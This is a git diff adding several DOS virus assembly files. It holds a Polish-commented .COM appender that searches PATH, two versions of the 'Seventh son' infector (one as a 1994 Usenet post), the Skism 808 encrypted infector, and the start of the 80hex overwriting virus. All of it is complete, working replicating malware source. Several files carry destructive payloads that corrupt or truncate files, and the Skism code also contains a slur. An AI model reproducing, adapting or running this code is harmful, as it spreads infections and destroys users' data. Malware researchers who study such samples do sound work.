; +********************************************************** +wszystkie adresy w programie sa uzywane jako wzgledne +do rejestru si ,nie mozna urzywac adresow bezwzglednych +jako offset poniewaz po 'doklejeniu sie do programu +moze on byc w roznych miejscach +********************************************************** +; +adr_baz equ offset stare_DTA ;adres bazowy poczatku zmiennych + ;w programie wzgledem niego beda + ;obliczane przesuniecia pol zmiennych +start_prg equ 100h ;adres poczatku programu typu .com +ofst_rozk equ offset rozkazy - adr_baz ;przsuniecie pola rozkazy +get_dta_addr equ 2fh ;funkcja dos pobranie adresu DTA +msdos equ 21h +write equ 40h +wirus_len equ DTA + 43 - start + +code segment byte public 'code' + assume cs:code,ds:code,es:code + + org 100h + +st1: jmp short start + + int msdos + +start: mov dx,offset stare_DTA + cld ;ustawienie kierunku przesylania + mov si,dx ;poczatek zmiennych programu + add si,ofst_rozk ;adres pola rozkazy + mov di,100h ;adres pod ktorym jest poczatek programu + mov cx,3 ;ilosc bajtow do przeslania + repz movsb ;odtworzenie starego poczatku + + mov si,dx ;odtworzenie si + +; AK: pominito badanie wersji DOS + + push es ;zachowanie es bo bedzie zmieniane + mov ah,get_dta_addr ;pobierz adres DTA + int msdos + mov [si],bx ;zapamietanie adresu DTA w polu + mov [si+2],es ;stare_DTA + pop es ;odtworzenie es + + mov dx,5Fh ;adres pola DTA + add dx,si + mov ah,1Ah ;ustaw adres DTA ds:dx + int msdos + +; AK: zmieniona jest kolejno instrukcji, teraz do przechowania SI uyto +; DX zamiast stosu + + push es ;zachowanie es + push si ;zachowaj si + add si,1ah ;adres tekstu PATH= + mov dx,si + mov es,ds:[2Ch] ;adres srodowiska set + +; AK: w oryginale jest to PUSH SI, POP SI + + mov di,0 + +szukaj_dalej: + mov si,dx + lodsb + mov cx,8000h ;dlugosc srodowiska + repnz scasb ;szukanie litery P + mov cx,4 ;dlugosc reszty ATH= + +porownuj: + lodsb + scasb + jnz szukaj_dalej + loop porownuj + + pop si ;odtworz rejestry + pop es + + mov [si+16h],di ;adres pierwszego bajtu za PATH= + mov di,si + add di,1Fh ;adres bufora dla nazwy zbioru + mov bx,si + jmp short dalej + +nast_sciezka: + cmp word ptr[si+16h],0 ;czy koniec path + jnz l1 ;nie + + jmp exit1 ;zakoncz nie ma wiecej zbiorow + +l1: push ds + push si + mov ds,es:[2Ch] ;urzywamy es: bo ds bedzie modyfikowany + mov di,si + mov si,es:[di+16h] + add di,1Fh + +next: lodsb ;zaladuj kolejny znak sciezki dostepu + cmp al,';' ;czy koniec definicji scierzki + jz koniec_sciezki + cmp al,0 ;czy koniec lancucha path + jz koniec_set + stosb ;przepisz znak do bufora + jmp short next + +koniec_set: + mov si,0 +koniec_sciezki: + pop bx + pop ds + mov [bx+16h],si ;adres do ktorego przeszukano path + cmp byte ptr [di-1],'\' ;czy scierzka zakonczona przez \ + jz dalej + mov al,'\' + stosb ;dopisz \ + +dalej: mov [bx+18h],di + mov si,bx + add si,10h + mov cx,6 + repz movsb ;przepisanie *.com \0 + mov si,bx + mov ah,4Eh ;find first + mov dx,1Fh + add dx,si + mov cx,3 ;ukryty tylko do odczytu + int msdos + jmp short czy_jest + +szuk_nast: + mov ah,4Fh ;find next + int msdos + +czy_jest: + jnc jest + + jmp short nast_sciezka + +jest: mov ax,[si+75h] ;pole zawierajace czas w DTA + and al,1Fh ;czy sa 62 sekundy + cmp al,1Fh + + jz szuk_nast + cmp word ptr [si+79h],0FA00h + ja szuk_nast ;jesli zbyt dlugi + cmp word ptr [si+79h],10 + jc szuk_nast + + mov di,[si+18h] + push si + add si,7Dh +kopiuj: + lodsb ;kopiuje nazwe zbioru + stosb ;nazwa w postaci ASCIIZ + cmp al,0 ;czy koniec nazwy + jnz kopiuj + pop si + + mov ax,4300h ;pobierz atrybuty zbioru + mov dx,1Fh + add dx,si + int msdos + mov [si+8],cx ;zapamietanie atrybutow + + mov ax,4301h ;ustaw atrybuty + and cx,0FFFEh ;usuwa ewentualne r/o + mov dx,1Fh + add dx,si + int msdos + + mov ax,3D02h ;otwarcie zbioru + mov dx,1Fh + add dx,si + int msdos + + jnc l2 ;czy poprawne otwarcie + + jmp exit2 + +l2: mov bx,ax + mov ax,5700h ;pobierz czas i date powstania zbioru + int msdos + mov [si+4],cx ;czas + mov [si+6],dx ;data + + mov ah,2Ch ;pobierz czas systemowy + int msdos + + and dh,7 ;sekundy + jnz zostaw + +comment ; +********************************************************** +tutaj mozna umiescic dowolna procedure uszkadzajaca zbior +ta wywolywana jest losowo jesli ostatnie trzy bity sekund +zegara systemu sa rowne zero np. 8,16,24 itd. +********************************************************** +; + mov ah,write ;zapis do zbioru + mov cx,5 ;pieciu bajtow lezacych + mov dx,si ;juz poza programem czyli + add dx,8Ah ;faktycznie dowolnych + int msdos + jmp exit3 + +;********************************************************* +;koniec procedury uszkadzajacej zbior +;********************************************************* + +zostaw: mov ah,3Fh ;odczyt trzech pierwszych + mov cx,3 ;bajtow z pliku + mov dx,ofst_rozk ;do pola rozkazy + add dx,si + int msdos + + jc exit3 ;jesli byl blad czytania + + cmp ax,3 ;czy odczytano dokladnie + jnz exit3 ;trzy bajty + + mov ax,4202h ;przewiniecie zbioru na koniec + mov cx,0 + mov dx,0 + int msdos + + jc exit3 ;jesli blad + + mov cx,ax ;w ax dlugosc zbioru + sub ax,3 +;obiczanie przesuniecia dla skoku do poczatku wirusa +;jest to adres konca zbioru minus 3 poniewaz +;jmp jest trzy bajtowy + + mov [si+0Eh],ax ;zapis adresu w polu skok + + add cx,adr_baz - start + start_prg +;obliczanie adresu poczatku danych (tego ktory jest w si) +;jest to adres pola stare_DTA + 100h przesuniecia programu + + mov di,si + sub di,adr_baz - start - 1 + mov [di],cx ;zapisanie adresu bezposrednio w pole + ;w pole rozkazu mov dx,offset + + mov ah,write ;dopisanie wirusa na koniec + mov cx,wirus_len ;dlugosc wirusa + mov dx,si + sub dx,adr_baz - start ;obliczenie adresu poczatku wirusa + int msdos + + jc exit3 ;jesli blad + cmp ax,wirus_len ;czy zapisano calego wirusa + jnz exit3 + + mov ax,4200h ;przewiniecie zbioru na poczatek + mov cx,0 + mov dx,0 + int msdos + + jc exit3 ;jesli blad + + mov ah,write ;zapis jmp do wirusa + mov cx,3 ;na poczatku + mov dx,si + add dx,0Dh ;pole skok + int msdos + +exit1: mov dx,[si+6] ;data + mov cx,[si+4] ;czas + or cx,1Fh ;zaznaczenie ze zbior jest zarazony + ;ilosc sekund = 62 + + mov ax,5701h ;zapis daty i czasu do zbioru + int msdos + + mov ah,3Eh ;zamkniecie zbioru + int msdos + +exit2: mov ax,4301h ;ustawienie atrybutow + mov cx,[si+8] ;stare atrybuty + mov dx,001Fh + add dx,si + int msdos + +exit3: push ds + mov ah,1Ah ;ustaw adres DTA + mov dx,[si+0] ;pole stare_DTA + mov ds,es:[si+2] + int msdos + + pop ds + + xor ax,ax ;zerowanie rejestrow + xor bx,bx + xor dx,dx + xor si,si + mov di,0100h ;na stos adres startu + push di + xor di,di + ret + +stare_DTA dd 0 +czas_zb dw 0 +data_zb dw 0 +attr_zb dw 0 +rozkazy db 0b4h,4ch,0cdh +skok db 0e9h,0,0 ;kod rozkazu jmp +zbior db '*.com',0 +srodow dw 0 ;adres srodowiska set +bufor dw 0 ;wskaznik do nazwy zbioru +path db 'PATH=' +nazwa_zb db 63 dup(0) ;pole na nazwe zbioru +DTA db 43 dup(0) ;pole dta + +code ends + end st1 + diff --git a/0-9/7SON.ASM b/0-9/7SON.ASM new file mode 100755 index 0000000..9e1c79c --- /dev/null +++ b/0-9/7SON.ASM @@ -0,0 +1,251 @@ +From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:42:48 1994 +Xref: netcom.com alt.comp.virus:506 +Path: netcom.com!ix.netcom.com!netnews +From: Zeppelin@ix.netcom.com (Mr. G) +Newsgroups: alt.comp.virus +Subject: 7th Son Virus +Date: 29 Nov 1994 13:02:59 GMT +Organization: Netcom +Lines: 236 +Distribution: world +Message-ID: <3bf8q3$iaj@ixnews1.ix.netcom.com> +References: +NNTP-Posting-Host: ix-pas2-10.ix.netcom.com + +;*********************************************************************** +***** +;* Seventh son of a seventh son version 4 +;* +;* Compile with MASM 4.0 +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;*********************************************************************** +***** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + + .RADIX 16 + +FILELEN equ end - start +MINTARGET equ 1000d +MAXTARGET equ -(FILELEN+40) + + + +;*********************************************************************** +***** +;* Dummy program (infected) +;*********************************************************************** +***** + + org 100 + +begin: db 4Dh ;virus mark + db 0E9h, 4, 0 ;jump to virus entry + + +;*********************************************************************** +***** +;* Begin of the virus +;*********************************************************************** +***** + +start: db 0CDh, 20h, 0, 0 + + cld + mov si,0100h + push si ;push new IP on stack + mov di,si + add si,[si+2] ;si -> start + + push si ;restore original begin + movsw + movsw + pop si + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + lea dx,[si+(offset ni24 - 0104)] ;set new int24 +vector + mov ah,25h + push ax + int 21 + + mov ah,2Fh ;get DTA adres + int 21 + push es + push bx + + add dx,070h ;set new DTA adres + mov ah,1Ah + int 21 + add dx,1Eh + push dx + + lea di,[si+(offset generation-0104)] ;check +generation + cmp [di],0707h + jne verder + + lea dx,[di+2] ;7th son of a 7th son! + mov ah,09h + int 21 + +verder: mov ax,[di] ;update generations + xchg ah,al + mov al,1 + mov [di],ax + + lea dx,[di+33d] ;find first COM-file + xor cx,cx + mov ah,4Eh +infloop: int 21 + pop dx + jc stop + + push dx + + xor cx,cx ;clear +read-only-arttribute + mov ax,4301 + int 21 + jc return1 + + mov ax,3D02h ;open the file + int 21 + jc return1 + xchg bx,ax + + mov ax,5700h ;get file date & time + int 21 + push cx + push dx + + mov cx,4 ;read begin of file + mov dx,si + mov ah,3fh + int 21 + + cmp byte ptr [si],4Dh ;already infected or an +EXE? + je return2 + cmp byte ptr [si],5Ah ;or a weird EXE? + je return2 + + mov al,2 ;go to end of file + call seek + + cmp ax,MAXTARGET ;check length of file + jnb return2 + cmp ax,MINTARGET + jbe return2 + + push ax + mov cx,FILELEN ;write program to end of +file + mov ah,40h + int 21 + cmp ax,cx ;are all bytes written? + pop ax + jnz return2 + + xchg ax,bp + mov al,0 ;go to begin of file + call seek + + mov word ptr [si],0E94Dh ;write mark and +jump-command + mov word ptr [si+2],bp + mov ah,40h + int 21 + + inc byte ptr [di] ;number of next son + +return2: pop dx ;restore file date & +time + pop cx + mov ax,5701h + int 21 + + mov ah,3Eh ;close the file + int 21 + +return1: mov ah,4Fh ;find next file + jmp short infloop + +stop: pop dx ;restore DTA adres + pop ds + mov ah,1Ah + int 21 + + pop ax ;restore int24 vector + pop ds + pop dx + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + push cs + push cs + pop ds + pop es + + ret + +seek: mov ah,42 + cwd +int21: xor cx,cx + int 21 + mov cl,4 + mov dx,si + ret + + +;*********************************************************************** +***** +;* Interupt handler 24 +;*********************************************************************** +***** + +ni24: mov al,03 + iret + + +;*********************************************************************** +***** +;* Data +;*********************************************************************** +***** + +generation db 1,1 +sontxt db 'Seventh son of a seventh son',0Dh, 0Ah, '$' +filename db '*.COM',0 + db '' + +end: + +cseg ends + end begin + + + + diff --git a/0-9/7SON2.ASM b/0-9/7SON2.ASM new file mode 100755 index 0000000..3e5e30b --- /dev/null +++ b/0-9/7SON2.ASM @@ -0,0 +1,232 @@ +;**************************************************************************** +;* Seventh son of a seventh son version 2 +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + +FILELEN equ end - start +MINTARGET equ 1000 +MAXTARGET equ -(FILELEN+40h) + + org 100h + + .RADIX 16 + + +;**************************************************************************** +;* Dummy program (infected) +;**************************************************************************** + +begin: db 4Dh + jmp start + + +;**************************************************************************** +;* Begin of the virus +;**************************************************************************** + +start: call start2 +start2: pop bp + sub bp,0103h + + lea si,[bp+offset begbuf-4] ;restore begin of file + mov di,0100h + movsw + movsw + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + xor dl,dl ;clear the flag + mov ax,3301h + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + mov dx,offset ni24 - 4 ;set new int24 vector + add dx,bp + mov ax,2524h + int 21 + + lea dx,[bp+offset end] ;set new DTA adres + mov ah,1Ah + int 21 + add dx,1Eh + mov word ptr [bp+offset nameptr-4],dx + + lea si,[bp+offset grandfather-4] ;check generation + cmp [si],0606h + jne verder + + lea dx,[bp+offset sontxt-4] ;7th son of a 7th son! + mov ah,09h + int 21 + +verder: mov ax,[si] ;update generations + xchg ah,al + xor al,al + mov [si],ax + + lea dx,[bp+offset filename-4] ;find first COM-file + xor cx,cx + mov ah,4Eh + int 21 + +infloop: mov dx,word ptr [bp+offset nameptr-4] + call infect + + mov ah,4Fh ;find next file + int 21 + jnc infloop + + pop ds ;restore int24 vector + pop dx + mov ax,2524h + int 21 + + pop dx ;restore ctrl-break flag + mov ax,3301h + int 21 + + push cs + push cs + pop ds + pop es + mov ax,0100h ;put old start-adres on stack + push ax + + ret + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov ax,4300h ;ask attributes + int 21 + push cx + + xor cx,cx ;clear flags + call setattr + jc return1 + + mov ax,3D02h ;open the file + int 21 + jc return1 + xchg bx,ax + + mov ax,5700h ;get file date & time + int 21 + push cx + push dx + + mov cx,4 ;read begin of file + lea dx,[bp+offset begbuf-4] + mov ah,3fh + int 21 + + mov al,byte ptr [bp+begbuf-4] ;already infected? + cmp al,4Dh + je return2 + cmp al,5Ah ;or a weird EXE? + je return2 + + call endptr ;get file-length + + cmp ax,MAXTARGET ;check length of file + jnb return2 + cmp ax,MINTARGET + jbe return2 + + push ax + mov cx,FILELEN ;write program to end of file + lea dx,[bp+offset start-4] + mov ah,40h + int 21 + cmp ax,cx ;are all bytes written? + pop ax + jnz return2 + + sub ax,4 ;calculate new start-adres + mov word ptr [bp+newbeg-2],ax + + call beginptr ;write new begin of file + mov cx,4 + lea dx,[bp+offset newbeg-4] + mov ah,40h + int 21 + + inc byte ptr [si] ;number of next son + +return2: pop dx ;restore file date & time + pop cx + mov ax,5701h + int 21 + + mov ah,3Eh ;close the file + int 21 + +return1: pop cx ;restore file-attribute +; call setattr + +; ret + + +;**************************************************************************** +;* Changes file-attributes +;**************************************************************************** + +setattr: mov dx,word ptr [bp+offset nameptr-4] + mov ax,4301h + int 21 + ret + + +;**************************************************************************** +;* Subroutines for file-pointer +;**************************************************************************** + +beginptr: mov ax,4200h ;go to begin of file + jmp short ptrvrdr + +endptr: mov ax,4202h ;go to end of file +ptrvrdr: xor cx,cx + xor dx,dx + int 21 + ret + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Data +;**************************************************************************** + +begbuf db 0CDh, 20h, 0, 0 +newbeg db 4Dh, 0E9h, 0, 0 +nameptr dw ? +sontxt db 'Seventh son of a seventh son',0Dh, 0Ah, '$' +grandfather db 0 +father db 0 +filename db '*.COM',0 + db '' + +end: + +cseg ends + end begin + + \ No newline at end of file diff --git a/0-9/7SON4.ASM b/0-9/7SON4.ASM new file mode 100755 index 0000000..d5420f3 --- /dev/null +++ b/0-9/7SON4.ASM @@ -0,0 +1,218 @@ +;**************************************************************************** +;* Seventh son of a seventh son version 4 +;* +;* Compile with MASM 4.0 +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + + .RADIX 16 + +FILELEN equ end - start +MINTARGET equ 1000d +MAXTARGET equ -(FILELEN+40) + + + +;**************************************************************************** +;* Dummy program (infected) +;**************************************************************************** + + org 100 + +begin: db 4Dh ;virus mark + db 0E9h, 4, 0 ;jump to virus entry + + +;**************************************************************************** +;* Begin of the virus +;**************************************************************************** + +start: db 0CDh, 20h, 0, 0 + + cld + mov si,0100h + push si ;push new IP on stack + mov di,si + add si,[si+2] ;si -> start + + push si ;restore original begin + movsw + movsw + pop si + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + lea dx,[si+(offset ni24 - 0104)] ;set new int24 vector + mov ah,25h + push ax + int 21 + + mov ah,2Fh ;get DTA adres + int 21 + push es + push bx + + add dx,070h ;set new DTA adres + mov ah,1Ah + int 21 + add dx,1Eh + push dx + + lea di,[si+(offset generation-0104)] ;check generation + cmp [di],0707h + jne verder + + lea dx,[di+2] ;7th son of a 7th son! + mov ah,09h + int 21 + +verder: mov ax,[di] ;update generations + xchg ah,al + mov al,1 + mov [di],ax + + lea dx,[di+33d] ;find first COM-file + xor cx,cx + mov ah,4Eh +infloop: int 21 + pop dx + jc stop + + push dx + + xor cx,cx ;clear read-only-arttribute + mov ax,4301 + int 21 + jc return1 + + mov ax,3D02h ;open the file + int 21 + jc return1 + xchg bx,ax + + mov ax,5700h ;get file date & time + int 21 + push cx + push dx + + mov cx,4 ;read begin of file + mov dx,si + mov ah,3fh + int 21 + + cmp byte ptr [si],4Dh ;already infected or an EXE? + je return2 + cmp byte ptr [si],5Ah ;or a weird EXE? + je return2 + + mov al,2 ;go to end of file + call seek + + cmp ax,MAXTARGET ;check length of file + jnb return2 + cmp ax,MINTARGET + jbe return2 + + push ax + mov cx,FILELEN ;write program to end of file + mov ah,40h + int 21 + cmp ax,cx ;are all bytes written? + pop ax + jnz return2 + + xchg ax,bp + mov al,0 ;go to begin of file + call seek + + mov word ptr [si],0E94Dh ;write mark and jump-command + mov word ptr [si+2],bp + mov ah,40h + int 21 + + inc byte ptr [di] ;number of next son + +return2: pop dx ;restore file date & time + pop cx + mov ax,5701h + int 21 + + mov ah,3Eh ;close the file + int 21 + +return1: mov ah,4Fh ;find next file + jmp short infloop + +stop: pop dx ;restore DTA adres + pop ds + mov ah,1Ah + int 21 + + pop ax ;restore int24 vector + pop ds + pop dx + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + push cs + push cs + pop ds + pop es + + ret + +seek: mov ah,42 + cwd +int21: xor cx,cx + int 21 + mov cl,4 + mov dx,si + ret + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Data +;**************************************************************************** + +generation db 1,1 +sontxt db 'Seventh son of a seventh son',0Dh, 0Ah, '$' +filename db '*.COM',0 + db '' + +end: + +cseg ends + end begin + + \ No newline at end of file diff --git a/0-9/808.ASM b/0-9/808.ASM new file mode 100755 index 0000000..c08f8ce --- /dev/null +++ b/0-9/808.ASM @@ -0,0 +1,306 @@ + +;tHE sKISM 808 vIRUS. cREATED 1991 BY sMART kIDS iNTO sICK mETHODS. + + + +FILENAME equ 30 ;USED TO FIND FILE NAME +FILEATTR equ 21 ;USED TO FIND FILE ATTRIBUTES +FILEDATE equ 24 ;USED TO FIND FILE DATE +FILETIME equ 22 ;USED TO FIND FILE TIME + + + +CODE_START equ 0100H ;START OF ALL .com FILES +VIRUS_SIZE equ 808 ;tr 808 + + +CODE SEGMENT 'CODE' +ASSUME CS:CODE,DS:CODE,ES:CODE + ORG CODE_START + +MAIN PROC NEAR + +JMP VIRUS_START + +ENCRYPT_VAL DB 00H + +VIRUS_START: + + CALL ENCRYPT ;ENCRYPT/DECRYPT FILE + JMP VIRUS ;GO TO START OF CODE + +ENCRYPT: + + PUSH CX + MOV BX,OFFSET VIRUS_CODE ;START ENCRYPTION AT DATA + +XOR_LOOP: + + MOV CH,[BX] ;READ CURRENT BYTE + XOR CH,ENCRYPT_VAL ;GET ENCRYPTION KEY + MOV [BX],CH ;SWITCH BYTES + INC BX ;MOVE BX UP A BYTE + CMP BX,OFFSET VIRUS_CODE+VIRUS_SIZE + ;ARE WE DONE WITH THE ENCRYPTION + JLE XOR_LOOP ;NO? KEEP GOING + POP CX + RET + + +INFECTFILE: + + MOV DX,CODE_START ;WHERE VIRUS STARTS IN MEMORY + MOV BX,HANDLE ;LOAD BX WITH HANDLE + PUSH BX ;SAVE HANDLE ON STACK + CALL ENCRYPT ;ENCRYPT FILE + POP BX ;GET BACK BX + MOV CX,VIRUS_SIZE ;NUMBER OF BYTES TO WRITE + MOV AH,40H ;WRITE TO FILE + INT 21H ; + PUSH BX + CALL ENCRYPT ;FIX UP THE MESS + POP BX + RET + +VIRUS_CODE: + +WILDCARDS DB "*",0 ;SEARCH FOR DIRECTORY ARGUMENT +FILESPEC DB "*.exe",0 ;SEARCH FOR exe FILE ARGUMENT +FILESPEC2 DB "*.*",0 +ROOTDIR DB "\",0 ;ARGUMENT FOR ROOT DIRECTORY +DIRDATA DB 43 DUP (?) ;HOLDS DIRECTORY dta +FILEDATA DB 43 DUP (?) ;HOLDS FILES dta +DISKDTASEG DW ? ;HOLDS DISK DTA SEGMENT +DISKDTAOFS DW ? ;HOLDS DISK DTA OFFSET +TEMPOFS DW ? ;HOLDS OFFSET +TEMPSEG DW ? ;HOLDS SEGMENT +DRIVECODE DB ? ;HOLDS DRIVE CODE +CURRENTDIR DB 64 DUP (?) ;SAVE CURRENT DIRECTORY INTO THIS +HANDLE DW ? ;HOLDS FILE HANDLE +ORIG_TIME DW ? ;HOLDS FILE TIME +ORIG_DATE DW ? ;HOLDS FILE DATE +ORIG_ATTR DW ? ;HOLDS FILE ATTR +IDBUFFER DW 2 DUP (?) ;HOLDS VIRUS ID + +VIRUS: + + MOV AX,3000H ;GET DOS VERSION + INT 21H ; + CMP AL,02H ;IS IT AT LEAST 2.00? + JB BUS1 ;WON'T INFECT LESS THAN 2.00 + MOV AH,2CH ;GET TIME + INT 21H ; + MOV ENCRYPT_VAL,DL ;SAVE M_SECONDS TO ENCRYPT VAL SO + ;THERES 100 MUTATIONS POSSIBLE +SETDTA: + + MOV DX,OFFSET DIRDATA ;OFFSET OF WHERE TO HOLD NEW DTA + MOV AH,1AH ;SET DTA ADDRESS + INT 21H ; + +NEWDIR: + + MOV AH,19H ;GET DRIVE CODE + INT 21H ; + MOV DL,AL ;SAVE DRIVECODE + INC DL ;ADD ONE TO DL, BECAUSE FUNCTIONS DIFFER + MOV AH,47H ;GET CURRENT DIRECTORY + MOV SI, OFFSET CURRENTDIR ;BUFFER TO SAVE DIRECTORY IN + INT 21H ; + + MOV DX,OFFSET ROOTDIR ;MOVE DX TO CHANGE TO ROOT DIRECTORY + MOV AH,3BH ;CHANGE DIRECTORY TO ROOT + INT 21H ; + +SCANDIRS: + + MOV CX,13H ;INCLUDE HIDDEN/RO DIRECTORYS + MOV DX, OFFSET WILDCARDS ;LOOK FOR '*' + MOV AH,4EH ;FIND FIRST FILE + INT 21H ; + CMP AX,12H ;NO FIRST FILE? + JNE DIRLOOP ;NO DIRS FOUND? BAIL OUT + +BUS1: + + JMP BUS + +DIRLOOP: + + MOV AH,4FH ;FIND NEXT FILE + INT 21H ; + CMP AX,12H + JE BUS ;NO MORE DIRS FOUND, ROLL OUT + +CHDIR: + + MOV DX,OFFSET DIRDATA+FILENAME;POINT DX TO FCB - FILENAME + MOV AH,3BH ;CHANGE DIRECTORY + INT 21H ; + + MOV AH,2FH ;GET CURRENT DTA ADDRESS + INT 21H ; + MOV [DISKDTASEG],ES ;SAVE OLD SEGMENT + MOV [DISKDTAOFS],BX ;SAVE OLD OFFSET + MOV DX,OFFSET FILEDATA ;OFFSET OF WHERE TO HOLD NEW DTA + MOV AH,1AH ;SET DTA ADDRESS + INT 21H ; + +SCANDIR: + + MOV CX,07H ;FIND ANY ATTRIBUTE + MOV DX,OFFSET FILESPEC ;POINT DX TO "*.com",0 + MOV AH,4EH ;FIND FIRST FILE FUNCTION + INT 21H ; + CMP AX,12H ;WAS FILE FOUND? + JNE TRANSFORM + +NEXTEXE: + + MOV AH,4FH ;FIND NEXT FILE + INT 21H ; + CMP AX,12H ;NONE FOUND + JNE TRANSFORM ;FOUND SEE WHAT WE CAN DO + + MOV DX,OFFSET ROOTDIR ;MOVE DX TO CHANGE TO ROOT DIRECTORY + MOV AH,3BH ;CHANGE DIRECTORY TO ROOT + INT 21H ; + MOV AH,1AH ;SET DTA ADDRESS + MOV DS,[DISKDTASEG] ;RESTORE OLD SEGMENT + MOV DX,[DISKDTAOFS] ;RESTORE OLD OFFSET + INT 21H ; + JMP DIRLOOP + + +BUS: + + JMP ROLLOUT + +TRANSFORM: + + MOV AH,2FH ;TEMPORALLY STORE DTA + INT 21H ; + MOV [TEMPSEG],ES ;SAVE OLD SEGMENT + MOV [TEMPOFS],BX ;SAVE OLD OFFSET + MOV DX, OFFSET FILEDATA + FILENAME + + MOV BX,OFFSET FILEDATA ;SAVE FILE... + MOV AX,[BX]+FILEDATE ;DATE + MOV ORIG_DATE,AX ; + MOV AX,[BX]+FILETIME ;TIME + MOV ORIG_TIME,AX ; AND + MOV AX,[BX]+FILEATTR ; + MOV AX,4300H + INT 21H + MOV ORIG_ATTR,CX + MOV AX,4301H ;CHANGE ATTRIBUTES + XOR CX,CX ;CLEAR ATTRIBUTES + INT 21H ; + MOV AX,3D00H ;OPEN FILE - READ + INT 21H ; + JC FIXUP ;ERROR - FIND ANOTHER FILE + MOV HANDLE,AX ;SAVE HANDLE + MOV AH,3FH ;READ FROM FILE + MOV BX,HANDLE ;MOVE HANDLE TO BX + MOV CX,02H ;READ 2 BYTES + MOV DX,OFFSET IDBUFFER ;SAVE TO BUFFER + INT 21H ; + + MOV AH,3EH ;CLOSE FILE FOR NOW + MOV BX,HANDLE ;LOAD BX WITH HANDLE + INT 21H ; + + MOV BX, IDBUFFER ;FILL BX WITH ID STRING + CMP BX,02EBH ;INFECTED? + JNE DOIT ;SAME - FIND ANOTHER FILE + + +FIXUP: + MOV AH,1AH ;SET DTA ADDRESS + MOV DS,[TEMPSEG] ;RESTORE OLD SEGMENT + MOV DX,[TEMPOFS] ;RESTORE OLD OFFSET + INT 21H ; + JMP NEXTEXE + + +DOIT: + + MOV DX, OFFSET FILEDATA + FILENAME + MOV AX,3D02H ;OPEN FILE READ/WRITE ACCESS + INT 21H ; + MOV HANDLE,AX ;SAVE HANDLE + + CALL INFECTFILE + + ;MOV AX,3EH ;CLOSE FILE + ;INT 21H + +ROLLOUT: + + MOV AX,5701H ;RESTORE ORIGINAL + MOV BX,HANDLE ; + MOV CX,ORIG_TIME ;TIME AND + MOV DX,ORIG_DATE ;DATE + INT 21H ; + + MOV AX,4301H ;RESTORE ORIGINAL ATTRIBUTES + MOV CX,ORIG_ATTR + MOV DX,OFFSET FILEDATA + FILENAME + INT 21H + ;MOV BX,HANDLE + ;MOV AX,3EH ;CLOSE FILE + ;INT 21H + MOV AH,3BH ;TRY TO FIX THIS + MOV DX,OFFSET ROOTDIR ;FOR SPEED + INT 21H ; + MOV AH,3BH ;CHANGE DIRECTORY + MOV DX,OFFSET CURRENTDIR ;BACK TO ORIGINAL + INT 21H ; + MOV AH,2AH ;CHECK SYSTEM DATE + INT 21H ; + CMP CX,1991 ;IS IT AT LEAST 1991? + JB AUDI ;NO? DON'T DO IT NOW + CMP DL,25 ;IS IT THE 25TH? + JB AUDI ;NOT YET? QUIT + CMP AL,5 ;IS fRIDAY? + JNE AUDI ;NO? QUIT + MOV DX,OFFSET DIRDATA ;OFFSET OF WHERE TO HOLD NEW DTA + MOV AH,1AH ;SET DTA ADDRESS + INT 21H ; + MOV AH,4EH ;FIND FIRST FILE + MOV CX,7H ; + MOV DX,OFFSET FILESPEC2 ;OFFSET *.* + +lOOPS: + + INT 21H ; + JC AUDI ;ERROR? THEN QUIT + MOV AX,4301H ;FIND ALL NORMAL FILES + XOR CX,CX ; + INT 21H ; + MOV DX,OFFSET DIRDATA + FILENAME + MOV AH,3CH ;FUCK UP ALL FILES IN CURRENT DIR + INT 21H ; + JC AUDI ;ERROR? QUIT + MOV AH,4FH ;FIND NEXT FILE + JMP LOOPS ; + +AUDI: + + MOV AX,4C00H ;END PROGRAM + INT 21H ; + +;tHE BELOW IS JUST TEXT TO PAD OUT THE VIRUS SIZE TO 808 BYTES. dON'T +;JUST CHANGE THE TEXT AND CLAIM THAT THIS IS YOUR CREATION. + + +WORDS_ DB "sKISM rYTHEM sTACK vIRUS-808. sMART kIDS iNTO sICK mETHODS",0 +WORDS2 DB " dONT ALTER THIS CODE INTO YOUR OWN STRAIN, FAGGIT. ",0 +WORDS3 DB " hr/sss nycITY, THIS IS THE FIFTH OF MANY, MANY MORE....",0 +WORDS4 DB " yOU SISSYS.....",0 + +MAIN ENDP +CODE ENDS + END MAIN + + \ No newline at end of file diff --git a/0-9/80hex.asm b/0-9/80hex.asm new file mode 100755 index 0000000..bcd6163 --- /dev/null +++ b/0-9/80hex.asm @@ -0,0 +1,87 @@ +; ------------------------------------------------------------------------------ +; - 80hex virus - +; (c) 1994 The Unforgiven/Immortal Riot + +; Pay-Load function: +; This will be dropped to the file c:\dos\keyb.com, that often +; is called from autoexec.bat, which will result in that all files +; in DOS being overwritten. Eventually all hds will be trashed as well. + +; General-information: +; It's a simple overwriting virus, BUT not released 'alone' as +; the purpose as a virus that will infect systems and travel +; around the world. It's rather an original pay-load, outsmarted +; by my creative/destructive brain. + +; It's not encrypted, still *NO* anti-virus detects it, this is probably +; due to its simplistic shape. It's *highly* destructive, and is really +; more or less a trojan. But it can replicate, so... + +; Greetings to all destructive virus writers! 